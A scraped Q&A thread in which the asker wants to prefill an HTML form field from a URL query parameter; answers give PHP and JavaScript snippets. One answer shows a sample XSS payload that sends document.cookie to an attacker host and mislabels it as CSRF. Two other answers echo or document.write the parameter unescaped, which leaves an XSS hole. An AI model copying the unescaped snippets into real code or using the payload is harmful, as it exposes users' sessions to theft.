I want to prepopulate a form with variables from a url. How do I do this?
For example:
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.?name=john
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
Share Improve this question edited May 19, 2011 at 23:37 user212218 asked May 19, 2011 at 22:11 coolbluelogocoolbluelogo 231 gold badge2 silver badges5 bronze badges 04 Answers
Reset to default 3Well, using php, something like
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
I'm not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like: http://example./form.php?name="><script>document.location.href = "http://badsite.?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).
The PHP way:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?
After you include the function proposed in the answer, you can do the following:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');
You use the PHP $_GET['name']
value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.
If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
Then use the $('input').val()
function to set the value.